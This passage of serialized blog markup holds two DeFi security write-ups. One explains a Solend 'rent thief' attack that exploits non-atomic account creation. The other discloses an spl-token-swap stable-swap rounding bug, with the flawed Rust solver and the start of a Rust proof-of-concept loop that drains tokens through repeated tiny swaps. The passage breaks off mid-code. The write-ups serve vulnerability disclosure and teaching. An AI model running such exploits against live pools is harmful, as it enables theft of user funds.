rent-exempt.",{"type":26,"tag":27,"props":162300,"children":162301},{"id":11960},[162302],{"type":32,"value":11963},{"type":26,"tag":39,"props":162304,"children":162305},{},[162306,162308,162314],{"type":32,"value":162307},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":26,"tag":83,"props":162309,"children":162311},{"className":162310},[],[162312],{"type":32,"value":162313},"init_reserve",{"type":32,"value":162315}," function, which creates 6 new accounts to store data about the reserve:",{"type":26,"tag":6712,"props":162317,"children":162318},{},[162319,162324,162329,162334,162345,162350],{"type":26,"tag":2044,"props":162320,"children":162321},{},[162322],{"type":32,"value":162323},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":26,"tag":2044,"props":162325,"children":162326},{},[162327],{"type":32,"value":162328},"reserve liquidity token account - holds deposited tokens",{"type":26,"tag":2044,"props":162330,"children":162331},{},[162332],{"type":32,"value":162333},"fee receiver token account - account which will receive origination fees on borrows",{"type":26,"tag":2044,"props":162335,"children":162336},{},[162337,162339],{"type":32,"value":162338},"reserve collateral mint account - deposit receipt token, also known as ",{"type":26,"tag":83,"props":162340,"children":162342},{"className":162341},[],[162343],{"type":32,"value":162344},"cTokens",{"type":26,"tag":2044,"props":162346,"children":162347},{},[162348],{"type":32,"value":162349},"reserve collateral token account - holds users' collateral tokens",{"type":26,"tag":2044,"props":162351,"children":162352},{},[162353,162355,162361],{"type":32,"value":162354},"creator collateral token account - creator's ",{"type":26,"tag":83,"props":162356,"children":162358},{"className":162357},[],[162359],{"type":32,"value":162360},"cToken",{"type":32,"value":93678},{"type":26,"tag":39,"props":162363,"children":162364},{},[162365,162367,162372,162374,162379,162380,162385,162387],{"type":32,"value":162366},"Account creation and initialization are ",{"type":26,"tag":65,"props":162368,"children":162369},{},[162370],{"type":32,"value":162371},"usually",{"type":32,"value":162373}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":26,"tag":83,"props":162375,"children":162377},{"className":162376},[],[162378],{"type":32,"value":162313},{"type":32,"value":1681},{"type":26,"tag":65,"props":162381,"children":162382},{},[162383],{"type":32,"value":162384},"supposed",{"type":32,"value":162386}," to look like:\n",{"type":26,"tag":6468,"props":162388,"children":162390},{"src":162389,"alt":160461},"/posts/rent-thief/transacdiagram.png",[],{"type":26,"tag":39,"props":162392,"children":162393},{},[162394,162396],{"type":32,"value":162395},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":26,"tag":6468,"props":162397,"children":162399},{"src":162398,"alt":160461},"/posts/rent-thief/attacktransac.png",[],{"type":26,"tag":39,"props":162401,"children":162402},{},[162403],{"type":32,"value":162404},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":26,"tag":39,"props":162406,"children":162407},{},[162408],{"type":32,"value":162409},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":26,"tag":39,"props":162411,"children":162412},{},[162413],{"type":32,"value":162414},"Despite this lost cost, this is pretty annoying...",{"type":26,"tag":27,"props":162416,"children":162418},{"id":162417},"example",[162419],{"type":32,"value":162420},"Example",{"type":26,"tag":39,"props":162422,"children":162423},{},[162424,162426,162433],{"type":32,"value":162425},"Let's take a look at ",{"type":26,"tag":163,"props":162427,"children":162430},{"href":162428,"rel":162429},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[167],[162431],{"type":32,"value":162432},"a real attack",{"type":32,"value":180},{"type":26,"tag":39,"props":162435,"children":162436},{},[162437,162444,162445],{"type":26,"tag":163,"props":162438,"children":162441},{"href":162439,"rel":162440},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[167],[162442],{"type":32,"value":162443},"Transaction 1",{"type":32,"value":81278},{"type":26,"tag":6468,"props":162446,"children":162448},{"alt":8,"src":162447},"https://i.imgur.com/xJvIwgc.png",[],{"type":26,"tag":39,"props":162450,"children":162451},{},[162452],{"type":32,"value":162453},"(...more accounts truncated)",{"type":26,"tag":39,"props":162455,"children":162456},{},[162457],{"type":32,"value":162458},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":26,"tag":39,"props":162460,"children":162461},{},[162462,162469,162470],{"type":26,"tag":163,"props":162463,"children":162466},{"href":162464,"rel":162465},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[167],[162467],{"type":32,"value":162468},"Attacker's Transaction",{"type":32,"value":81278},{"type":26,"tag":6468,"props":162471,"children":162473},{"alt":8,"src":162472},"https://i.imgur.com/CpSKuL3.png",[],{"type":26,"tag":39,"props":162475,"children":162476},{},[162477],{"type":32,"value":162453},{"type":26,"tag":39,"props":162479,"children":162480},{},[162481],{"type":32,"value":162482},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":26,"tag":39,"props":162484,"children":162485},{},[162486,162493,162494],{"type":26,"tag":163,"props":162487,"children":162490},{"href":162488,"rel":162489},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[167],[162491],{"type":32,"value":162492},"Transaction 2",{"type":32,"value":81278},{"type":26,"tag":6468,"props":162495,"children":162497},{"alt":8,"src":162496},"https://i.imgur.com/of0GIdw.png",[],{"type":26,"tag":39,"props":162499,"children":162500},{},[162501],{"type":26,"tag":6468,"props":162502,"children":162504},{"alt":8,"src":162503},"https://i.imgur.com/0STSyv8.png",[],{"type":26,"tag":39,"props":162506,"children":162507},{},[162508],{"type":32,"value":162509},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":26,"tag":39,"props":162511,"children":162512},{},[162513,162519],{"type":26,"tag":163,"props":162514,"children":162517},{"href":162515,"rel":162516},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[167],[162518],{"type":32,"value":162468},{"type":32,"value":1473},{"type":26,"tag":39,"props":162521,"children":162522},{},[162523],{"type":26,"tag":6468,"props":162524,"children":162526},{"alt":8,"src":162525},"https://i.imgur.com/AmSPdmy.png",[],{"type":26,"tag":39,"props":162528,"children":162529},{},[162530],{"type":32,"value":162453},{"type":26,"tag":39,"props":162532,"children":162533},{},[162534],{"type":32,"value":162535},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":26,"tag":27,"props":162537,"children":162538},{"id":130039},[162539],{"type":32,"value":130042},{"type":26,"tag":39,"props":162541,"children":162542},{},[162543],{"type":32,"value":162544},"Rent-thieving attacks don't steal much money.",{"type":26,"tag":39,"props":162546,"children":162547},{},[162548],{"type":32,"value":162549},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":26,"tag":39,"props":162551,"children":162552},{},[162553],{"type":32,"value":162554},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":26,"tag":27,"props":162556,"children":162558},{"id":162557},"solution",[162559],{"type":32,"value":162560},"Solution",{"type":26,"tag":39,"props":162562,"children":162563},{},[162564],{"type":32,"value":162565},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":26,"tag":39,"props":162567,"children":162568},{},[162569,162571,162578],{"type":32,"value":162570},"As a more permenant solution, Solend implemented ",{"type":26,"tag":163,"props":162572,"children":162575},{"href":162573,"rel":162574},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[167],[162576],{"type":32,"value":162577},"an onchain program",{"type":32,"value":162579}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":8,"searchDepth":6770,"depth":6770,"links":162581},[162582,162583,162584,162585,162586],{"id":162280,"depth":6770,"text":162283},{"id":11960,"depth":6770,"text":11963},{"id":162417,"depth":6770,"text":162420},{"id":130039,"depth":6770,"text":130042},{"id":162557,"depth":6770,"text":162560},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":162591,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":162592,"description":162593,"image":162594,"date":162598,"isFeatured":17,"tags":162599,"onBlogPage":17,"body":162600,"_type":6799,"_id":164998,"_source":6801,"_file":164999,"_stem":165000,"_extension":6804},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":162595,"width":162596,"height":162597},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[90642,137334],{"type":23,"children":162601,"toc":164992},[162602,162616,162621,162626,162634,162638,162643,162648,162656,162664,162669,162674,162682,162687,162692,163045,163055,163060,163568,163573,163581,163588,163594,163599,163604,163609,163616,163628,163633,163644,163850,163855,163860,163864,163869,163874,163917,163922,163930,163935,163940,163945,164088,164101,164211,164225,164233,164247,164255,164268,164273,164285,164293,164315,164932,164936,164941,164953,164966,164973,164978,164983,164988],{"type":26,"tag":39,"props":162603,"children":162604},{},[162605,162607,162614],{"type":32,"value":162606},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":26,"tag":163,"props":162608,"children":162611},{"href":162609,"rel":162610},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[167],[162612],{"type":32,"value":162613},"spl-token-swap",{"type":32,"value":162615},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":26,"tag":39,"props":162617,"children":162618},{},[162619],{"type":32,"value":162620},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":26,"tag":39,"props":162622,"children":162623},{},[162624],{"type":32,"value":162625},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":26,"tag":39,"props":162627,"children":162628},{},[162629],{"type":26,"tag":65,"props":162630,"children":162631},{},[162632],{"type":32,"value":162633},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":26,"tag":27,"props":162635,"children":162636},{"id":131020},[162637],{"type":32,"value":131023},{"type":26,"tag":39,"props":162639,"children":162640},{},[162641],{"type":32,"value":162642},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":26,"tag":39,"props":162644,"children":162645},{},[162646],{"type":32,"value":162647},"After a while, he noticed something weird..",{"type":26,"tag":35,"props":162649,"children":162650},{},[162651],{"type":26,"tag":39,"props":162652,"children":162653},{},[162654],{"type":32,"value":162655},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":26,"tag":207,"props":162657,"children":162659},{"code":162658},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[162660],{"type":26,"tag":83,"props":162661,"children":162662},{"__ignoreMap":8},[162663],{"type":32,"value":162658},{"type":26,"tag":39,"props":162665,"children":162666},{},[162667],{"type":32,"value":162668},"Somehow, we were getting tokens from nothing?",{"type":26,"tag":39,"props":162670,"children":162671},{},[162672],{"type":32,"value":162673},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":26,"tag":207,"props":162675,"children":162677},{"code":162676},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[162678],{"type":26,"tag":83,"props":162679,"children":162680},{"__ignoreMap":8},[162681],{"type":32,"value":162676},{"type":26,"tag":39,"props":162683,"children":162684},{},[162685],{"type":32,"value":162686},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":26,"tag":39,"props":162688,"children":162689},{},[162690],{"type":32,"value":162691},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":26,"tag":207,"props":162693,"children":162695},{"code":162694,"language":56139,"meta":8,"className":56140,"style":8},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[162696],{"type":26,"tag":83,"props":162697,"children":162698},{"__ignoreMap":8},[162699,162707,162736,162764,162858,162961,162985,162996,163011,163031,163038],{"type":26,"tag":217,"props":162700,"children":162701},{"class":7028,"line":7029},[162702],{"type":26,"tag":217,"props":162703,"children":162704},{"style":7033},[162705],{"type":32,"value":162706},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":26,"tag":217,"props":162708,"children":162709},{"class":7028,"line":6770},[162710,162714,162718,162723,162727,162732],{"type":26,"tag":217,"props":162711,"children":162712},{"style":7154},[162713],{"type":32,"value":77780},{"type":26,"tag":217,"props":162715,"children":162716},{"style":7154},[162717],{"type":32,"value":94619},{"type":26,"tag":217,"props":162719,"children":162720},{"style":7054},[162721],{"type":32,"value":162722}," y",{"type":26,"tag":217,"props":162724,"children":162725},{"style":7149},[162726],{"type":32,"value":8993},{"type":26,"tag":217,"props":162728,"children":162729},{"style":7054},[162730],{"type":32,"value":162731}," d_val",{"type":26,"tag":217,"props":162733,"children":162734},{"style":7048},[162735],{"type":32,"value":7162},{"type":26,"tag":217,"props":162737,"children":162738},{"class":7028,"line":6779},[162739,162743,162747,162751,162755,162759],{"type":26,"tag":217,"props":162740,"children":162741},{"style":7042},[162742],{"type":32,"value":12461},{"type":26,"tag":217,"props":162744,"children":162745},{"style":7054},[162746],{"type":32,"value":78641},{"type":26,"tag":217,"props":162748,"children":162749},{"style":7154},[162750],{"type":32,"value":154414},{"type":26,"tag":217,"props":162752,"children":162753},{"style":7130},[162754],{"type":32,"value":9922},{"type":26,"tag":217,"props":162756,"children":162757},{"style":7149},[162758],{"type":32,"value":120880},{"type":26,"tag":217,"props":162760,"children":162761},{"style":7048},[162762],{"type":32,"value":162763},"ITERATIONS {\n",{"type":26,"tag":217,"props":162765,"children":162766},{"class":7028,"line":7140},[162767,162771,162775,162780,162784,162788,162792,162796,162800,162805,162809,162813,162817,162821,162825,162829,162833,162838,162842,162846,162850,162854],{"type":26,"tag":217,"props":162768,"children":162769},{"style":7154},[162770],{"type":32,"value":91366},{"type":26,"tag":217,"props":162772,"children":162773},{"style":7048},[162774],{"type":32,"value":7051},{"type":26,"tag":217,"props":162776,"children":162777},{"style":7054},[162778],{"type":32,"value":162779},"y_new",{"type":26,"tag":217,"props":162781,"children":162782},{"style":7048},[162783],{"type":32,"value":7599},{"type":26,"tag":217,"props":162785,"children":162786},{"style":7054},[162787],{"type":32,"value":49012},{"type":26,"tag":217,"props":162789,"children":162790},{"style":7048},[162791],{"type":32,"value":8380},{"type":26,"tag":217,"props":162793,"children":162794},{"style":7149},[162795],{"type":32,"value":267},{"type":26,"tag":217,"props":162797,"children":162798},{"style":7048},[162799],{"type":32,"value":7051},{"type":26,"tag":217,"props":162801,"children":162802},{"style":7064},[162803],{"type":32,"value":162804},"checked_u8_power",{"type":26,"tag":217,"props":162806,"children":162807},{"style":7048},[162808],{"type":32,"value":1851},{"type":26,"tag":217,"props":162810,"children":162811},{"style":7149},[162812],{"type":32,"value":9804},{"type":26,"tag":217,"props":162814,"children":162815},{"style":7054},[162816],{"type":32,"value":19017},{"type":26,"tag":217,"props":162818,"children":162819},{"style":7048},[162820],{"type":32,"value":7599},{"type":26,"tag":217,"props":162822,"children":162823},{"style":7130},[162824],{"type":32,"value":332},{"type":26,"tag":217,"props":162826,"children":162827},{"style":7048},[162828],{"type":32,"value":1889},{"type":26,"tag":217,"props":162830,"children":162831},{"style":7149},[162832],{"type":32,"value":91725},{"type":26,"tag":217,"props":162834,"children":162835},{"style":7064},[162836],{"type":32,"value":162837},"checked_add",{"type":26,"tag":217,"props":162839,"children":162840},{"style":7048},[162841],{"type":32,"value":1851},{"type":26,"tag":217,"props":162843,"children":162844},{"style":7054},[162845],{"type":32,"value":2255},{"type":26,"tag":217,"props":162847,"children":162848},{"style":7048},[162849],{"type":32,"value":1889},{"type":26,"tag":217,"props":162851,"children":162852},{"style":7149},[162853],{"type":32,"value":605},{"type":26,"tag":217,"props":162855,"children":162856},{"style":7048},[162857],{"type":32,"value":10025},{"type":26,"tag":217,"props":162859,"children":162860},{"class":7028,"line":7165},[162861,162865,162870,162874,162879,162883,162887,162891,162895,162899,162903,162907,162911,162915,162919,162923,162927,162932,162936,162941,162945,162949,162953,162957],{"type":26,"tag":217,"props":162862,"children":162863},{"style":7149},[162864],{"type":32,"value":94017},{"type":26,"tag":217,"props":162866,"children":162867},{"style":7064},[162868],{"type":32,"value":162869},"checked_ceil_div",{"type":26,"tag":217,"props":162871,"children":162872},{"style":7048},[162873],{"type":32,"value":1851},{"type":26,"tag":217,"props":162875,"children":162876},{"style":7064},[162877],{"type":32,"value":162878},"checked_u8_mul",{"type":26,"tag":217,"props":162880,"children":162881},{"style":7048},[162882],{"type":32,"value":1851},{"type":26,"tag":217,"props":162884,"children":162885},{"style":7149},[162886],{"type":32,"value":9804},{"type":26,"tag":217,"props":162888,"children":162889},{"style":7054},[162890],{"type":32,"value":19017},{"type":26,"tag":217,"props":162892,"children":162893},{"style":7048},[162894],{"type":32,"value":7599},{"type":26,"tag":217,"props":162896,"children":162897},{"style":7130},[162898],{"type":32,"value":332},{"type":26,"tag":217,"props":162900,"children":162901},{"style":7048},[162902],{"type":32,"value":1889},{"type":26,"tag":217,"props":162904,"children":162905},{"style":7149},[162906],{"type":32,"value":91725},{"type":26,"tag":217,"props":162908,"children":162909},{"style":7064},[162910],{"type":32,"value":162837},{"type":26,"tag":217,"props":162912,"children":162913},{"style":7048},[162914],{"type":32,"value":1851},{"type":26,"tag":217,"props":162916,"children":162917},{"style":7054},[162918],{"type":32,"value":14783},{"type":26,"tag":217,"props":162920,"children":162921},{"style":7048},[162922],{"type":32,"value":1889},{"type":26,"tag":217,"props":162924,"children":162925},{"style":7149},[162926],{"type":32,"value":91725},{"type":26,"tag":217,"props":162928,"children":162929},{"style":7064},[162930],{"type":32,"value":162931},"checked_sub",{"type":26,"tag":217,"props":162933,"children":162934},{"style":7048},[162935],{"type":32,"value":1851},{"type":26,"tag":217,"props":162937,"children":162938},{"style":7054},[162939],{"type":32,"value":162940},"d_val",{"type":26,"tag":217,"props":162942,"children":162943},{"style":7048},[162944],{"type":32,"value":1889},{"type":26,"tag":217,"props":162946,"children":162947},{"style":7149},[162948],{"type":32,"value":605},{"type":26,"tag":217,"props":162950,"children":162951},{"style":7048},[162952],{"type":32,"value":1889},{"type":26,"tag":217,"props":162954,"children":162955},{"style":7149},[162956],{"type":32,"value":605},{"type":26,"tag":217,"props":162958,"children":162959},{"style":7048},[162960],{"type":32,"value":7162},{"type":26,"tag":217,"props":162962,"children":162963},{"class":7028,"line":7178},[162964,162968,162973,162977,162981],{"type":26,"tag":217,"props":162965,"children":162966},{"style":7042},[162967],{"type":32,"value":12497},{"type":26,"tag":217,"props":162969,"children":162970},{"style":7054},[162971],{"type":32,"value":162972}," y_new",{"type":26,"tag":217,"props":162974,"children":162975},{"style":7149},[162976],{"type":32,"value":11680},{"type":26,"tag":217,"props":162978,"children":162979},{"style":7054},[162980],{"type":32,"value":162722},{"type":26,"tag":217,"props":162982,"children":162983},{"style":7048},[162984],{"type":32,"value":8064},{"type":26,"tag":217,"props":162986,"children":162987},{"class":7028,"line":7389},[162988,162992],{"type":26,"tag":217,"props":162989,"children":162990},{"style":7042},[162991],{"type":32,"value":34755},{"type":26,"tag":217,"props":162993,"children":162994},{"style":7048},[162995],{"type":32,"value":7162},{"type":26,"tag":217,"props":162997,"children":162998},{"class":7028,"line":7406},[162999,163003,163007],{"type":26,"tag":217,"props":163000,"children":163001},{"style":7048},[163002],{"type":32,"value":83382},{"type":26,"tag":217,"props":163004,"children":163005},{"style":7042},[163006],{"type":32,"value":40852},{"type":26,"tag":217,"props":163008,"children":163009},{"style":7048},[163010],{"type":32,"value":8064},{"type":26,"tag":217,"props":163012,"children":163013},{"class":7028,"line":7439},[163014,163019,163023,163027],{"type":26,"tag":217,"props":163015,"children":163016},{"style":7054},[163017],{"type":32,"value":163018},"            y",{"type":26,"tag":217,"props":163020,"children":163021},{"style":7149},[163022],{"type":32,"value":8993},{"type":26,"tag":217,"props":163024,"children":163025},{"style":7054},[163026],{"type":32,"value":162972},{"type":26,"tag":217,"props":163028,"children":163029},{"style":7048},[163030],{"type":32,"value":7162},{"type":26,"tag":217,"props":163032,"children":163033},{"class":7028,"line":7487},[163034],{"type":26,"tag":217,"props":163035,"children":163036},{"style":7048},[163037],{"type":32,"value":8722},{"type":26,"tag":217,"props":163039,"children":163040},{"class":7028,"line":7524},[163041],{"type":26,"tag":217,"props":163042,"children":163043},{"style":7048},[163044],{"type":32,"value":9754},{"type":26,"tag":39,"props":163046,"children":163047},{},[163048,163053],{"type":26,"tag":65,"props":163049,"children":163050},{},[163051],{"type":32,"value":163052},"approximate",{"type":32,"value":163054},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":26,"tag":39,"props":163056,"children":163057},{},[163058],{"type":32,"value":163059},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":26,"tag":207,"props":163061,"children":163063},{"code":163062,"language":56139,"meta":8,"className":56140,"style":8},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[163064],{"type":26,"tag":83,"props":163065,"children":163066},{"__ignoreMap":8},[163067,163075,163112,163120,163149,163173,163189,163205,163229,163245,163261,163277,163293,163309,163321,163329,163348,163355,163363,163425,163432,163461,163468,163497,163504,163561],{"type":26,"tag":217,"props":163068,"children":163069},{"class":7028,"line":7029},[163070],{"type":26,"tag":217,"props":163071,"children":163072},{"style":7033},[163073],{"type":32,"value":163074},"// from sbtc to renbtc\n",{"type":26,"tag":217,"props":163076,"children":163077},{"class":7028,"line":6770},[163078,163082,163086,163090,163094,163099,163104,163108],{"type":26,"tag":217,"props":163079,"children":163080},{"style":7042},[163081],{"type":32,"value":28958},{"type":26,"tag":217,"props":163083,"children":163084},{"style":7054},[163085],{"type":32,"value":28971},{"type":26,"tag":217,"props":163087,"children":163088},{"style":7154},[163089],{"type":32,"value":154414},{"type":26,"tag":217,"props":163091,"children":163092},{"style":7130},[163093],{"type":32,"value":9922},{"type":26,"tag":217,"props":163095,"children":163096},{"style":7149},[163097],{"type":32,"value":163098}," ..",{"type":26,"tag":217,"props":163100,"children":163101},{"style":7130},[163102],{"type":32,"value":163103}," 50",{"type":26,"tag":217,"props":163105,"children":163106},{"style":7119},[163107],{"type":32,"value":36887},{"type":26,"tag":217,"props":163109,"children":163110},{"style":7048},[163111],{"type":32,"value":8064},{"type":26,"tag":217,"props":163113,"children":163114},{"class":7028,"line":6779},[163115],{"type":26,"tag":217,"props":163116,"children":163117},{"style":7033},[163118],{"type":32,"value":163119},"    // create swap transaction\n",{"type":26,"tag":217,"props":163121,"children":163122},{"class":7028,"line":7140},[163123,163127,163131,163136,163140,163145],{"type":26,"tag":217,"props":163124,"children":163125},{"style":7154},[163126],{"type":32,"value":77780},{"type":26,"tag":217,"props":163128,"children":163129},{"style":7154},[163130],{"type":32,"value":94619},{"type":26,"tag":217,"props":163132,"children":163133},{"style":7054},[163134],{"type":32,"value":163135}," swap_instruction",{"type":26,"tag":217,"props":163137,"children":163138},{"style":7149},[163139],{"type":32,"value":8993},{"type":26,"tag":217,"props":163141,"children":163142},{"style":7064},[163143],{"type":32,"value":163144}," swap",{"type":26,"tag":217,"props":163146,"children":163147},{"style":7048},[163148],{"type":32,"value":10932},{"type":26,"tag":217,"props":163150,"children":163151},{"class":7028,"line":7165},[163152,163156,163161,163165,163169],{"type":26,"tag":217,"props":163153,"children":163154},{"style":7149},[163155],{"type":32,"value":121297},{"type":26,"tag":217,"props":163157,"children":163158},{"style":7048},[163159],{"type":32,"value":163160},"spl_token",{"type":26,"tag":217,"props":163162,"children":163163},{"style":7149},[163164],{"type":32,"value":56166},{"type":26,"tag":217,"props":163166,"children":163167},{"style":7064},[163168],{"type":32,"value":95138},{"type":26,"tag":217,"props":163170,"children":163171},{"style":7048},[163172],{"type":32,"value":79153},{"type":26,"tag":217,"props":163174,"children":163175},{"class":7028,"line":7178},[163176,163180,163185],{"type":26,"tag":217,"props":163177,"children":163178},{"style":7149},[163179],{"type":32,"value":121297},{"type":26,"tag":217,"props":163181,"children":163182},{"style":7054},[163183],{"type":32,"value":163184},"swap_pubkey",{"type":26,"tag":217,"props":163186,"children":163187},{"style":7048},[163188],{"type":32,"value":10953},{"type":26,"tag":217,"props":163190,"children":163191},{"class":7028,"line":7389},[163192,163196,163201],{"type":26,"tag":217,"props":163193,"children":163194},{"style":7149},[163195],{"type":32,"value":121297},{"type":26,"tag":217,"props":163197,"children":163198},{"style":7054},[163199],{"type":32,"value":163200},"swap_authority_pubkey",{"type":26,"tag":217,"props":163202,"children":163203},{"style":7048},[163204],{"type":32,"value":10953},{"type":26,"tag":217,"props":163206,"children":163207},{"class":7028,"line":7406},[163208,163212,163217,163221,163225],{"type":26,"tag":217,"props":163209,"children":163210},{"style":7149},[163211],{"type":32,"value":121297},{"type":26,"tag":217,"props":163213,"children":163214},{"style":7054},[163215],{"type":32,"value":163216},"test_account_signer",{"type":26,"tag":217,"props":163218,"children":163219},{"style":7149},[163220],{"type":32,"value":180},{"type":26,"tag":217,"props":163222,"children":163223},{"style":7064},[163224],{"type":32,"value":122332},{"type":26,"tag":217,"props":163226,"children":163227},{"style":7048},[163228],{"type":32,"value":79153},{"type":26,"tag":217,"props":163230,"children":163231},{"class":7028,"line":7439},[163232,163236,163241],{"type":26,"tag":217,"props":163233,"children":163234},{"style":7149},[163235],{"type":32,"value":121297},{"type":26,"tag":217,"props":163237,"children":163238},{"style":7054},[163239],{"type":32,"value":163240},"sbtc_user_account",{"type":26,"tag":217,"props":163242,"children":163243},{"style":7048},[163244],{"type":32,"value":10953},{"type":26,"tag":217,"props":163246,"children":163247},{"class":7028,"line":7487},[163248,163252,163257],{"type":26,"tag":217,"props":163249,"children":163250},{"style":7149},[163251],{"type":32,"value":121297},{"type":26,"tag":217,"props":163253,"children":163254},{"style":7054},[163255],{"type":32,"value":163256},"sbtc_reserve",{"type":26,"tag":217,"props":163258,"children":163259},{"style":7048},[163260],{"type":32,"value":10953},{"type":26,"tag":217,"props":163262,"children":163263},{"class":7028,"line":7524},[163264,163268,163273],{"type":26,"tag":217,"props":163265,"children":163266},{"style":7149},[163267],{"type":32,"value":121297},{"type":26,"tag":217,"props":163269,"children":163270},{"style":7054},[163271],{"type":32,"value":163272},"renbtc_reserve",{"type":26,"tag":217,"props":163274,"children":163275},{"style":7048},[163276],{"type":32,"value":10953},{"type":26,"tag":217,"props":163278,"children":163279},{"class":7028,"line":7553},[163280,163284,163289],{"type":26,"tag":217,"props":163281,"children":163282},{"style":7149},[163283],{"type":32,"value":121297},{"type":26,"tag":217,"props":163285,"children":163286},{"style":7054},[163287],{"type":32,"value":163288},"renbtc_user_account",{"type":26,"tag":217,"props":163290,"children":163291},{"style":7048},[163292],{"type":32,"value":10953},{"type":26,"tag":217,"props":163294,"children":163295},{"class":7028,"line":7570},[163296,163300,163305],{"type":26,"tag":217,"props":163297,"children":163298},{"style":7149},[163299],{"type":32,"value":121297},{"type":26,"tag":217,"props":163301,"children":163302},{"s